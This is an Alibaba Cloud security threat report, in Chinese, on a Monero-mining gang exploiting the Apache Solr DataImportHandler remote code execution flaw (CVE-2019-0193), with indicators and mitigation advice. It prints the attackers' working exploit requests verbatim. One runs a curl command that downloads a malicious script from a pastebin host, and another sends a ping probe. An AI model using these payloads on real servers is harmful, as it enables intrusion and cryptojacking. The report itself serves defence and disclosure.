概述

近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。

除此之外,可以合理推测,该团伙一直活跃在寻找新的攻击方式来植入其恶意程序,阿里云安全团队已在第一时间对该利用方式进行了监控,并对该团伙的行为持续关注。建议用户及时排查自身主机是否受到影响,并关注阿里云安全团队的相关文章。

漏洞详情

漏洞简介

Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。Remote Code Execution via DataImportHandler(CVE-2019-0193)是apache Solr在2019.8.1日披露的漏洞预警,此漏洞发生在Solr的DataImportHandler(DIH)模块中,该模块提供从数据库或其他数据源获取数据的能力。由于Solr admin默认是不需要鉴权认证的,且DIH支持脚本操作,因此可以通过构造恶意http请求,实现远程命令执行。

如下图,在solr admin中选择dataimport选项卡,由于dataimport配置支持脚本,我们可以在配置文件中写入恶意脚本,执行curl xxx.xxx.xxx.xx指令。

如下图,我们服务端收到了solr发送的http请求,证明RCE成功。

利用分析

阿里云安全团队近日监测到有攻击者尝试利用此漏洞对阿里云上主机进行入侵。其首先发送http://xx.xx.xx.xx:8983/solr/admin/cores?action=STATUS&wt=json的请求来获取solr中core的名称。

之后对这些core_name进行遍历,尝试向corename/dataimport发送如下payload进而向https://pastebin.com/raw/jjFzjCwx请求恶意脚本。

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=<dataConfig>
+<dataSource+type="URLDataSource"/>
+<script><![CDATA[
+++++++++function+poc(){+java.lang.Runtime.getRuntime().exec("curl+-fsSL+https://pastebin.com/raw/jjFzjCwx+-o+/tmp/baby");
+++++++++}
+]]></script>
+<document>
+++<entity+name="stackoverflow"
+++++++++++url="https://stackoverflow.com/feeds/tag/solr"
+++++++++++processor="XPathEntityProcessor"
+++++++++++forEach="/feed"
+++++++++++transformer="script:poc"+/>
+</document>
</dataConfig>&name=dataimport

跟进https://pastebin.com/raw/jjFzjCwx此地址的恶意脚本,发现其与之前的分析的watchdog挖矿程序只有一处不同,且为非关键内容,之后的部分可以参见之前的文章。

除此之外,还有疑似发送ping命令来收集存在漏洞主机的恶意请求:

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=solr&dataConfig=<dataConfig>
<dataSource type="URLDataSource"/>
<script>
<![CDATA[
function poc(row) {
var Runtime = Java.type("java.lang.Runtime");
Runtime.getRuntime().exec("ping -c 1 solr_CVE_2019_0193XfSIcGVY.awvsscan119.autoverify.cn");
return row;
}
]]></script>
</dataConfig>

漏洞影响

目前,全网使用solr组件的设备数大约在1.9w台左右,阿里云安全团队建议用户及时查看自身机器状态,防止事态进一步扩大。

IOC

  1. https://pastebin.com/raw/jjFzjCwx
  2. https://pastebin.com/raw/3FDDiNwW
  3. https://pastebin.com/raw/KJcZ9HLL

影响版本

  1. solr 8.2.0 之前版本(不包含)
  2. 需启用DataImportHandler模块
  3. solr 未启用鉴权认证或采用弱密码

安全建议

  1. 将solr 升级至8.2.0或更新版本(8.2.0版本之后默认不开启dataconfig参数支持)
  2. 设置solrconfig.xml->requestHandler->config标签内内容为空
  3. 与DIH相关的请求采用白名单过滤

参考文章

[1] 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发
[2] CVE-2019-0193 Remote Code Execution via DataImportHandler

本文作者:苍珀

原文链接

本文为云栖社区原创内容,未经允许不得转载。

威胁快报|Solr dataimport成挖矿团伙新型利用方式的更多相关文章

  1. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

  2. 威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起

    近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏.这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势 ...

  3. 威胁快报|新兴挖矿团伙借助shodan作恶,非web应用安全再鸣警钟

    近日,阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙.我们给这一团伙取名为Xulu,因为该团伙使用这个字符串作为挖矿时的用户名. Xulu并不是第一个攻击Dock ...

  4. 威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库

    概述 近日,阿里云安全团队监控到Bulehero挖矿蠕虫进行了版本升级,蠕虫升级后开始利用最新出现的PHPStudy后门漏洞作为新的攻击方式对Windows主机进行攻击,攻击成功后会下载门罗币挖矿程序 ...

  5. Solr学习笔记之3、Solr dataimport - 从SQLServer导入数据建立索引

    Solr学习笔记之3.Solr导入SQLServer数据建立索引 一.下载MSSQLServer的JDBC驱动 下载:Microsoft JDBC Driver 4.0 for SQL Server ...

  6. 将html页改成jsp的两种方式

    将html页改成jsp的两种方式 作者: 字体:[增加 减小] 类型:转载 时间:2013-08-13 将html页改成jsp有两种方法,第一种是直接修改html文件,另一种是新建jsp文件.下面为大 ...

  7. Oracle字符串行拆分成列的三种方式

    Oracle字符串行拆分成列的三种方式 --muphy 开发过程中经常会遇到将前台多个值用逗号连接一同传递到后台查询,这个用逗号连接的字符串分隔的每个字符串分别对应Oracle数据库表的不同行. 如下 ...

  8. 威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利

    一.背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件.黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源.其余受控主机下载并运 ...

  9. 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”

    简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...

随机推荐

  1. duilib教程之duilib入门简明教程12.简单控件介绍

    前面的教程应该让大家对duilib的整体有所映像了,下面就来介绍下duilib具体控件的使用.    由于官方没有提供默认的控件样式,所以我就尽量使用win7或者XP自带的按钮样式了,虽然界面比较土鳖 ...

  2. (转)获取android手机内部存储空间和外部存储空间的参数 && 如何决定一个apk的安装位置

    转:http://blog.csdn.net/zhandoushi1982/article/details/8560233 获取android文件系统的信息,需要Environment类和StatFs ...

  3. SQLServer 中存储过程

    SQLServer 中存储过程返回的三种方式( 包括存储过程的创建, 在存储过程中调用, 在VS中调用的方法)存储过程有三种返回:   1.   用return返回数字型数据   2.   用返回参数 ...

  4. 云-腾讯云-短信:短信(SMS)

    ylbtech-云-腾讯云-短信:短信(SMS) 快速稳定.简单易用.触达全球的短信服务,支持国内短信.语音短信与国际短信 1.返回顶部 1. 腾讯云短信 SMS 简介 腾讯云短信(Short Mes ...

  5. c++中变量、变量名、变量地址、指针、引用等含义

    首先了解内存,内存就是一排房间,编号从0开始,0,1,2,3,4,5...... 房间里面一定要住人,新人住进去了,原来的人就走了:不管你住不住,里面都有人. 编号就是地址.里面的人就是内容,为了我们 ...

  6. angluar1.8.2 PC Mail项目笔记

    兼容性技术选型 前后端分离 代理gulp nginx jq+angluar1.8.2 使用级别刚刚好的相对目录,方便转移项目或者做接口代理时的切换目录 指令过滤器服务控制器书写位置 方法封装,自己写和 ...

  7. C# 串口编程 对端口的访问被拒绝

    感谢Sunny秋刀鱼.https://www.cnblogs.com/527289276qq/p/5595798.html 在页面或者窗口Unloaded事件中关闭串口即可.

  8. 2019-5-15-影子系统让-C++-程序无法运行

    title author date CreateTime categories 影子系统让 C++ 程序无法运行 lindexi 2019-05-15 15:24:35 +0800 2019-05-1 ...

  9. LUA中的冒号、点和self

    在Lua编程中,经常会看到有时用点号定义一个table的成员函数,有时却用冒号,在调用的时候也是如此.那么点号和冒号在使用上有什么区别呢?它们与self之间又是什么样的关系呢?稍安勿躁,接下来谜底将一 ...

  10. I-country

    I-country 在\(n\times m\)的网格图中,给出每个格子的权值,寻找有k个格子的凸联通块,使包含的权值最大,\(N,M≤15,K≤225\). 解 我们首先要知道凸联通块的定义 从任意 ...